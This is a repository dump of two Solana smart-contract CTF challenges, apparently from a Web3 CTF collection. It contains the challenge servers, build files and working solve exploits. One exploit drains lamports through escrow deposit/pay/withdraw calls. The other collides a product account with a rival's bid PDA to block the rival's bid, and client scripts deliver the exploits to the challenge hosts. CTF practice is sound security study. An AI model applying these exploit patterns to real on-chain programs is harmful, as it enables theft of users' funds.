| // let (escrow, _) = get_escrow(program_pubkey, user.pubkey()); 55 | 56 | const TARGET_AMT: u64 = 60_000; 57 | const INIT_BAL: u64 = 50; 58 | const RESERVE_BAL: u64 = 1_000_000; 59 | 60 | builder 61 | .builder 62 | .add_account_with_lamports(user.pubkey(), system_program::ID, INIT_BAL); 63 | builder 64 | .builder 65 | .add_account_with_lamports(reserve, system_program::ID, RESERVE_BAL); 66 | 67 | let mut challenge = builder.build(); 68 | 69 | let balance = challenge.env.get_account(user.pubkey()).unwrap().lamports; 70 | writeln!(socket, "user lamport before: {:?}", balance)?; 71 | 72 | // run solve 73 | challenge.input_instruction(solve_pubkey, &[&user]).unwrap(); 74 | 75 | // check solve 76 | let balance = challenge.env.get_account(user.pubkey()).unwrap().lamports; 77 | writeln!(socket, "user lamport after: {:?}", balance)?; 78 | 79 | if balance > TARGET_AMT { 80 | let flag = fs::read_to_string("flag.txt").unwrap(); 81 | writeln!( 82 | socket, 83 | "Flag: {}", 84 | flag 85 | )?; 86 | } 87 | 88 | Ok(()) 89 | } 90 | -------------------------------------------------------------------------------- /n1ctf2022/Utility_Payment_Service/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "utility-payment-solve" 3 | version = "1.0.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | borsh = "0.9.3" 8 | borsh-derive = "0.9.3" 9 | solana-program = "1.8.14" 10 | utility-payment = { version = "1.0.0", path = "../program", features = ["no-entrypoint"]} 11 | 12 | [lib] 13 | crate-type = ["cdylib", "lib"] 14 | -------------------------------------------------------------------------------- /n1ctf2022/Utility_Payment_Service/solve/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: build 2 | build: 3 | cargo build-bpf 4 | cp ./target/deploy/utility_payment_solve.so . 5 | -------------------------------------------------------------------------------- /n1ctf2022/Utility_Payment_Service/solve/solve.py: -------------------------------------------------------------------------------- 1 | import os 2 | from os.path import exists 3 | 4 | so_file = "utility_payment_solve.so" 5 | 6 | if not exists(so_file): 7 | os.system('make') 8 | 9 | from pwn import args, remote 10 | from solana.publickey import PublicKey 11 | from solana.system_program import SYS_PROGRAM_ID 12 | 13 | host = args.HOST or 'localhost' 14 | port = args.PORT or 5000 15 | 16 | r = remote(host, port) 17 | solve = open(so_file, 'rb').read() 18 | r.recvuntil(b'program len: ') 19 | r.sendline(str(len(solve)).encode()) 20 | r.send(solve) 21 | 22 | r.readuntil(b"program pubkey: ") 23 | program_pubkey_str = r.readline(keepends=False).decode() 24 | program_pubkey = PublicKey(program_pubkey_str) 25 | 26 | r.readuntil(b"solve pubkey: ") 27 | solve_pubkey_str = r.readline(keepends=False).decode() 28 | solve_pubkey = PublicKey(solve_pubkey_str) 29 | 30 | r.readuntil(b"user pubkey: ") 31 | user_pubkey_str = r.readline(keepends=False).decode() 32 | user_pubkey = PublicKey(user_pubkey_str) 33 | 34 | print() 35 | print("program: " + program_pubkey_str) 36 | print("solve : " + solve_pubkey_str) 37 | print("user : " + user_pubkey_str) 38 | print() 39 | 40 | # print("program: {program_pubkey}\nsolve: {solve_pubkey}\nuser: {user_pubkey}") 41 | 42 | reserve, _ = PublicKey.find_program_address([b'RESERVE'], program_pubkey) 43 | escrow, _ = PublicKey.find_program_address([b'ESCROW', bytes(user_pubkey)], program_pubkey) 44 | 45 | r.recvuntil(b'user lamport before: ') 46 | lamports_str = r.readline(keepends=False).decode() 47 | print("user lamport before = " + lamports_str) 48 | 49 | r.sendline(b'5') 50 | r.sendline(b'x ' + program_pubkey.to_base58()) 51 | r.sendline(b'ws ' + user_pubkey.to_base58()) 52 | r.sendline(b'w ' + reserve.to_base58()) 53 | r.sendline(b'w ' + escrow.to_base58()) 54 | r.sendline(b'x ' + SYS_PROGRAM_ID.to_base58()) 55 | 56 | r.sendline(b'0') 57 | 58 | r.recvuntil(b'user lamport after: ') 59 | lamports_str = r.readline(keepends=False).decode() 60 | print("user lamport after = " + lamports_str + "\n") 61 | 62 | 63 | r.recvuntil(b'Flag: ') 64 | print("Flag: ") 65 | r.stream() 66 | -------------------------------------------------------------------------------- /n1ctf2022/Utility_Payment_Service/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | use solana_program::entrypoint; 2 | 3 | pub mod processor; 4 | use processor::process_instruction; 5 | entrypoint!(process_instruction); 6 | -------------------------------------------------------------------------------- /n1ctf2022/Utility_Payment_Service/solve/src/processor.rs: -------------------------------------------------------------------------------- 1 | use borsh::BorshSerialize; 2 | 3 | use solana_program::{ 4 | account_info::{next_account_info, AccountInfo}, 5 | entrypoint::ProgramResult, 6 | instruction::{AccountMeta, Instruction}, 7 | program::invoke, 8 | pubkey::Pubkey, 9 | system_program, 10 | }; 11 | 12 | use utility_payment::ServiceInstruction; 13 | 14 | pub fn process_instruction( 15 | _program: &Pubkey, 16 | accounts: &[AccountInfo], 17 | _data: &[u8], 18 | ) -> ProgramResult { 19 | let account_iter = &mut accounts.iter(); 20 | let utility_program = next_account_info(account_iter)?; 21 | let user = next_account_info(account_iter)?; 22 | let reserve = next_account_info(account_iter)?; 23 | let escrow_account = next_account_info(account_iter)?; 24 | let sys_prog_account = next_account_info(account_iter)?; 25 | 26 | invoke( 27 | &Instruction { 28 | program_id: *utility_program.key, 29 | accounts: vec![ 30 | AccountMeta::new(*user.key, true), 31 | AccountMeta::new(*reserve.key, false), 32 | AccountMeta::new(*escrow_account.key, false), 33 | AccountMeta::new_readonly(system_program::id(), false), 34 | ], 35 | data: ServiceInstruction::Init { } 36 | .try_to_vec() 37 | .unwrap(), 38 | }, 39 | &[ 40 | reserve.clone(), 41 | escrow_account.clone(), 42 | user.clone(), 43 | sys_prog_account.clone(), 44 | ], 45 | )?; 46 | 47 | // TODO 48 | invoke( 49 | &Instruction { 50 | program_id: *utility_program.key, 51 | accounts: vec![ 52 | AccountMeta::new(*user.key, true), 53 | AccountMeta::new(*reserve.key, false), 54 | AccountMeta::new(*escrow_account.key, false), 55 | AccountMeta::new_readonly(system_program::id(), false), 56 | ], 57 | data: ServiceInstruction::DepositEscrow { amount: 10_u16 } 58 | .try_to_vec() 59 | .unwrap(), 60 | }, 61 | &[ 62 | reserve.clone(), 63 | escrow_account.clone(), 64 | user.clone(), 65 | sys_prog_account.clone(), 66 | ], 67 | )?; 68 | 69 | invoke( 70 | &Instruction { 71 | program_id: *utility_program.key, 72 | accounts: vec![ 73 | AccountMeta::new(*user.key, true), 74 | AccountMeta::new(*reserve.key, false), 75 | AccountMeta::new(*escrow_account.key, false), 76 | AccountMeta::new_readonly(system_program::id(), false), 77 | ], 78 | data: ServiceInstruction::Pay { amount: 11_u16 } 79 | .try_to_vec() 80 | .unwrap(), 81 | }, 82 | &[ 83 | reserve.clone(), 84 | escrow_account.clone(), 85 | user.clone(), 86 | sys_prog_account.clone(), 87 | ], 88 | )?; 89 | 90 | invoke( 91 | &Instruction { 92 | program_id: *utility_program.key, 93 | accounts: vec![ 94 | AccountMeta::new(*user.key, true), 95 | AccountMeta::new(*reserve.key, false), 96 | AccountMeta::new(*escrow_account.key, false), 97 | AccountMeta::new_readonly(system_program::id(), false), 98 | ], 99 | data: ServiceInstruction::WithdrawEscrow {} 100 | .try_to_vec() 101 | .unwrap(), 102 | }, 103 | &[ 104 | reserve.clone(), 105 | escrow_account.clone(), 106 | user.clone(), 107 | sys_prog_account.clone(), 108 | ], 109 | )?; 110 | 111 | Ok(()) 112 | } 113 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/README.md: -------------------------------------------------------------------------------- 1 | # Setup 2 | 3 | !! siced from idekctf2023/babysolana chals !! 4 | !! too lazy to setup anchor myself so thx <3 !! 5 | 6 | Use `framework/` to locally setup the challenge 7 | Use `framework-solve/` to solve the challenge locally and remotely 8 | 9 | Edit `framework-solve/solve/programs/solve/src/lib.rs` with your exploit 10 | 11 | 12 | ## Deployment 13 | - Run `docker build -t solana-challenge-2 .` in the `framework` directory 14 | - Run `docker run -d -p 1337:1337 solana-challenge-2` 15 | 16 | 17 | ## Building the solution 18 | - Run `build_solution.sh` in the `solution` directory 19 | - Run `target/release/solve-framework` 20 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework-solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve-framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program = "1.16.9" 10 | solve = { path="./solve/programs/solve", features = ["no-entrypoint"]} 11 | chall = { path="../framework/chall/programs/chall", features = ["no-entrypoint"]} 12 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework-solve/build_solution.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd solve && cargo build-bpf 4 | cd .. 5 | cargo build --release 6 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework-solve/solve/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | solve = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework-solve/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework-solve/solve/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework-solve/solve/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework-solve/solve/programs/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "solve" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.28.0" 26 | chall = { path = "../../../../framework/chall/programs/chall", features = ["cpi"]} 27 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework-solve/solve/programs/solve/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework-solve/solve/programs/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | declare_id!("28prS7e14Fsm97GE5ws2YpjxseFNkiA33tB5D3hLZv3t"); 4 | 5 | #[program] 6 | pub mod solve { 7 | use super::*; 8 | 9 | pub fn initialize(ctx: Context, product_name: [u8; 32], product_id: [u8; 32]) -> Result<()> { 10 | // solve goes here: 11 | 12 | // Bid any amount 13 | let cpi_accounts = chall::cpi::accounts::Bid { 14 | bid: ctx.accounts.bid.to_account_info(), 15 | auction: ctx.accounts.auction.to_account_info(), 16 | product: ctx.accounts.product.to_account_info(), 17 | bidder: ctx.accounts.user.to_account_info(), 18 | system_program: ctx.accounts.system_program.to_account_info(), 19 | rent: ctx.accounts.rent.to_account_info(), 20 | }; 21 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 22 | chall::cpi::bid(cpi_ctx, 1234)?; 23 | 24 | // Create a product that collides with rich_boi_bid PDA 25 | let cpi_accounts = chall::cpi::accounts::CreateProduct { 26 | product: ctx.accounts.rich_boi_bid.to_account_info(), 27 | user: ctx.accounts.user.to_account_info(), 28 | system_program: ctx.accounts.system_program.to_account_info(), 29 | rent: ctx.accounts.rent.to_account_info(), 30 | }; 31 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 32 | chall::cpi::create_product(cpi_ctx, product_name.to_vec(), product_id)?; 33 | 34 | Ok(()) 35 | } 36 | } 37 | 38 | #[derive(Accounts)] 39 | pub struct Initialize<'info> { 40 | // feel free to expand/change this as needed 41 | // if you change this, make sure to change framework-solve/src/main.rs accordingly 42 | 43 | #[account(mut)] 44 | pub admin: AccountInfo<'info>, 45 | 46 | #[account(mut)] 47 | pub rich_boi: AccountInfo<'info>, 48 | 49 | #[account(mut)] 50 | pub user: Signer<'info>, 51 | 52 | #[account(mut)] 53 | pub auction: AccountInfo<'info>, 54 | 55 | #[account(mut)] 56 | pub product: AccountInfo<'info>, 57 | 58 | #[account(mut)] 59 | pub bid: AccountInfo<'info>, 60 | 61 | #[account(mut)] 62 | pub rich_boi_bid: AccountInfo<'info>, 63 | 64 | pub system_program: Program<'info, System>, 65 | 66 | pub chall: Program<'info, chall::program::Chall>, 67 | 68 | pub rent: Sysvar<'info, Rent>, 69 | } -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework-solve/solve/tests/solve.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Solve } from "../target/types/solve"; 4 | 5 | describe("solve", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Solve as Program; 10 | 11 | it("Is initialized!", async () => { 12 | // Add your test here. 13 | const tx = await program.methods.initialize().rpc(); 14 | console.log("Your transaction signature", tx); 15 | }); 16 | }); 17 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework-solve/solve/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework-solve/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::{InstructionData, ToAccountMetas, system_program}; 2 | use solana_program::pubkey::Pubkey; 3 | use std::net::TcpStream; 4 | use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr}; 5 | 6 | 7 | fn get_line(reader: &mut BufReader) -> Result> { 8 | let mut line = String::new(); 9 | reader.read_line(&mut line)?; 10 | let ret = line 11 | .split(':') 12 | .nth(1) 13 | .ok_or("invalid input")? 14 | .trim() 15 | .to_string(); 16 | Ok(ret) 17 | } 18 | 19 | 20 | fn main() -> Result<(), Box> { 21 | let mut stream = TcpStream::connect("chals.sekai.team:4037")?; 22 | //let mut stream = TcpStream::connect("localhost:1337")?; 23 | let mut reader = BufReader::new(stream.try_clone().unwrap()); 24 | 25 | let mut line = String::new(); 26 | 27 | let so_data = fs::read("./solve/target/deploy/solve.so")?; 28 | 29 | reader.read_line(&mut line)?; 30 | writeln!(stream, "{}", solve::ID)?; 31 | reader.read_line(&mut line)?; 32 | writeln!(stream, "{}", so_data.len())?; 33 | stream.write_all(&so_data)?; 34 | 35 | 36 | let chall_id = chall::ID; 37 | 38 | let admin = Pubkey::from_str(&get_line(&mut reader)?)?; 39 | let rich_boi = Pubkey::from_str(&get_line(&mut reader)?)?; 40 | let user = Pubkey::from_str(&get_line(&mut reader)?)?; 41 | let auction = Pubkey::from_str(&get_line(&mut reader)?)?; 42 | let product = Pubkey::from_str(&get_line(&mut reader)?)?; 43 | 44 | let bid = Pubkey::find_program_address(&[auction.as_ref(), user.as_ref()], &chall_id).0; 45 | 46 | let rich_boi_bid = Pubkey::find_program_address(&[auction.as_ref(), rich_boi.as_ref()], &chall_id).0; 47 | let product_name: [u8; 32] = auction.as_ref().try_into()?; 48 | let product_id: [u8; 32] = rich_boi.as_ref().try_into()?; 49 | 50 | println!(""); 51 | println!("admin : {}", admin); 52 | println!("rich_boi : {}", rich_boi); 53 | println!("user : {}", user); 54 | println!("auction : {}", auction); 55 | println!("product : {}", product); 56 | println!(""); 57 | 58 | let ix = solve::instruction::Initialize { product_name, product_id }; 59 | let data = ix.data(); 60 | 61 | let ix_accounts = solve::accounts::Initialize { 62 | admin, 63 | rich_boi, 64 | user, 65 | auction, 66 | product, 67 | bid, 68 | rich_boi_bid, 69 | system_program: system_program::ID, 70 | chall: chall_id, 71 | rent: solana_program::sysvar::rent::ID, 72 | }; 73 | 74 | let metas = ix_accounts.to_account_metas(None); 75 | 76 | // if you don't know what this is doing, look at server code and also sol-ctf-framework read_instruction: 77 | // https://github.com/otter-sec/sol-ctf-framework/blob/rewrite-v2/src/lib.rs#L237 78 | reader.read_line(&mut line)?; 79 | writeln!(stream, "{}", metas.len())?; 80 | for meta in metas { 81 | let mut meta_str = String::new(); 82 | meta_str.push('m'); 83 | if meta.is_writable { 84 | meta_str.push('w'); 85 | } 86 | if meta.is_signer { 87 | meta_str.push('s'); 88 | } 89 | meta_str.push(' '); 90 | meta_str.push_str(&meta.pubkey.to_string()); 91 | writeln!(stream, "{}", meta_str)?; 92 | stream.flush()?; 93 | } 94 | 95 | reader.read_line(&mut line)?; 96 | writeln!(stream, "{}", data.len())?; 97 | stream.write_all(&data)?; 98 | 99 | stream.flush()?; 100 | 101 | line.clear(); 102 | while reader.read_line(&mut line)? != 0 { 103 | print!("{}", line); 104 | line.clear(); 105 | } 106 | 107 | Ok(()) 108 | } 109 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework/.ci_ignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lkmidas/Web3-CTF-Collection/777814d28b8138b373f188b1949adeaa74e0df2d/sekaictf2023/thebidding/framework/.ci_ignore -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework/.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | chall/target 3 | !chall/target/deploy 4 | chall/.anchor 5 | chall/node_modules 6 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program-test = "1.16.9" 10 | solana-program = "1.16.9" 11 | solana-logger = "1.16.9" 12 | solana-sdk = "1.16.9" 13 | chall = { path ="./chall/programs/chall", features = ["no-entrypoint"] } 14 | sol-ctf-framework = { git = "https://github.com/otter-sec/sol-ctf-framework", branch="rewrite-v2" } 15 | #sol-ctf-framework = { path="../../sol-ctf-framework" } 16 | threadpool = "1.8.1" 17 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust@sha256:79ddef683780336ce47c56c86184cf49e4f36c598d8f0bfe9453f52437b1b9a9 2 | 3 | RUN apt-get update && apt-get install -qy libudev-dev 4 | 5 | WORKDIR /app 6 | COPY Cargo.toml Cargo.lock ./ 7 | COPY src ./src 8 | 9 | COPY chall ./chall 10 | 11 | RUN cargo build --release 12 | 13 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.16.9/install)" 14 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 15 | RUN cd chall && cargo build-bpf 16 | 17 | ENV FLAG="SEKAI{wow_funny_fake_flag}" 18 | 19 | CMD [ "./target/release/framework" ] 20 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework/build_challenge.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd chall && cargo build-bpf 4 | cd .. 5 | cargo build --release 6 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework/chall/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | chall = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework/chall/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework/chall/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework/chall/programs/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "chall" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "chall" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = { version = "0.28.0" } 26 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework/chall/programs/chall/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework/chall/tests/chall.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Chall } from "../target/types/chall"; 4 | 5 | describe("chall", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Chall as Program; 10 | const authority = (program.provider as anchor.AnchorProvider).wallet; 11 | 12 | it("Is initialized!", async () => { 13 | // Add your test here. 14 | const counter = anchor.web3.Keypair.generate(); 15 | const tx = await program.methods.initialize() 16 | .accounts({ 17 | counter: counter.pubkey, 18 | authority: authority.pubkey 19 | }) 20 | .rpc(); 21 | console.log("Your transaction signature", tx); 22 | }); 23 | }); 24 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework/chall/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /sekaictf2023/thebidding/framework/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::AccountDeserialize; 2 | use chall::anchor_lang::InstructionData; 3 | use chall::anchor_lang::ToAccountMetas; 4 | 5 | use std::env; 6 | use std::io::Write; 7 | 8 | use sol_ctf_framework::ChallengeBuilder; 9 | 10 | use solana_sdk::compute_budget::ComputeBudgetInstruction; 11 | 12 | use solana_program::instruction::Instruction; 13 | use solana_program::system_instruction; 14 | use solana_program_test::tokio; 15 | use solana_sdk::pubkey::Pubkey; 16 | use solana_sdk::signature::Signer; 17 | use solana_sdk::signer::keypair::Keypair; 18 | use std::error::Error; 19 | 20 | use std::net::{TcpListener, TcpStream}; 21 | 22 | #[tokio::main] 23 | async fn main() -> Result<(), Box> { 24 | let listener = TcpListener::bind("0.0.0.0:1337")?; 25 | 26 | println!("starting server at port 1337!"); 27 | 28 | for stream in listener.incoming() { 29 | let stream = stream.unwrap(); 30 | 31 | tokio::spawn(async { 32 | if let Err(err) = handle_connection(stream).await { 33 | println!("error: {:?}", err); 34 | } 35 | }); 36 | } 37 | Ok(()) 38 | } 39 | 40 | async fn handle_connection(mut socket: TcpStream) -> Result<(), Box> { 41 | let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap(); 42 | 43 | let chall_id = builder.add_program("./chall/target/deploy/chall.so", Some(chall::ID)); 44 | let solve_id = builder.input_program()?; 45 | 46 | let mut chall = builder.build().await; 47 | 48 | // ------------------------------------------------------------------------- 49 | // [setup env] initialize 50 | // ------------------------------------------------------------------------- 51 | let program_id = chall_id; 52 | 53 | // admin has infinite money wauw 54 | let admin_keypair = &chall.ctx.payer; 55 | let admin = admin_keypair.pubkey(); 56 | 57 | const PRODUCT_NAME: &[u8] = b"sakura miku noodle stopper"; 58 | const AUCTION_NAME: &[u8] = b"fun auction"; 59 | 60 | let product_id = solana_program::hash::hash(&(727_i32).to_le_bytes()).to_bytes(); 61 | 62 | let product = Pubkey::find_program_address(&[PRODUCT_NAME, &product_id], &program_id).0; 63 | let auction = Pubkey::find_program_address(&[product.as_ref(), AUCTION_NAME], &program_id).0; 64 | 65 | let user_keypair = Keypair::new(); 66 | let user = user_keypair.pubkey(); 67 | 68 | let rich_boi_keypair = Keypair::new(); 69 | let rich_boi = rich_boi_keypair.pubkey(); 70 | 71 | chall 72 | .run_ix(system_instruction::transfer( 73 | &admin, 74 | &rich_boi, 75 | 500_000_000_000_000, 76 | )) 77 | .await?; 78 | 79 | // ur poor :^c 80 | chall 81 | .run_ix(system_instruction::transfer(&admin, &user, 1_000_000_000)) 82 | .await?; 83 | 84 | println!("\nNon-PDA Accounts created...\n"); 85 | 86 | // create product that will be auctioned 87 | let ix = chall::instruction::CreateProduct { 88 | product_name: PRODUCT_NAME.to_vec(), 89 | product_id, 90 | }; 91 | 92 | let ix_accounts = chall::accounts::CreateProduct { 93 | product, 94 | user: admin, 95 | system_program: solana_program::system_program::ID, 96 | rent: solana_program::sysvar::rent::ID, 97 | }; 98 | chall 99 | .run_ix(Instruction::new_with_bytes( 100 | program_id, 101 | &ix.data(), 102 | ix_accounts.to_account_metas(None), 103 | )) 104 | .await?; 105 | 106 | // create auction 107 | let ix = chall::instruction::CreateAuction { 108 | auction_name: AUCTION_NAME.to_vec(), 109 | }; 110 | let ix_accounts = chall::accounts::CreateAuction { 111 | auction, 112 | product, 113 | seller: admin, 114 | system_program: solana_program::system_program::ID, 115 | rent: solana_program::sysvar::rent::ID, 116 | }; 117 | chall 118 | .run_ix(Instruction::new_with_bytes( 119 | program_id, 120 | &ix.data(), 121 | ix_accounts.to_account_metas(None), 122 | )) 123 | .await?; 124 | 125 | // provided info 126 | writeln!(socket, "admin: {}", admin)?; 127 | writeln!(socket, "rich_boi: {}", rich_boi)?; 128 | writeln!(socket, "user: {}", user)?; 129 | writeln!(socket, "auction: {}", auction)?; 130 | writeln!(socket, "product: {}", product)?; 131 | 132 | // you're not quite as rich as rich_boi 133 | // but you're faster! 134 | let bump_budget = ComputeBudgetInstruction::set_compute_unit_limit(10_000_000); 135 | let solve_ix = chall.read_instruction(solve_id)?; 136 | chall 137 | .run_ixs_full(&[bump_budget, solve_ix], &[&user_keypair], &user) 138 | .await.ok(); 139 | 140 | // time for rich_boi to ruin everything :'c 141 | // ...unless? 😳 142 | let rich_boi_bid = 143 | Pubkey::find_program_address(&[auction.as_ref(), rich_boi.as_ref()], &program_id).0; 144 | 145 | let ix = chall::instruction::Bid { 146 | bid_amount: 100_000_000_000_000, 147 | }; 148 | let ix_accounts = chall::accounts::Bid { 149 | bid: rich_boi_bid, 150 | auction, 151 | product, 152 | bidder: rich_boi, 153 | system_program: solana_program::system_program::ID, 154 | rent: solana_program::sysvar::rent::ID, 155 | }; 156 | chall 157 | .run_ixs_full( 158 | &[Instruction::new_with_bytes( 159 | program_id, 160 | &ix.data(), 161 | 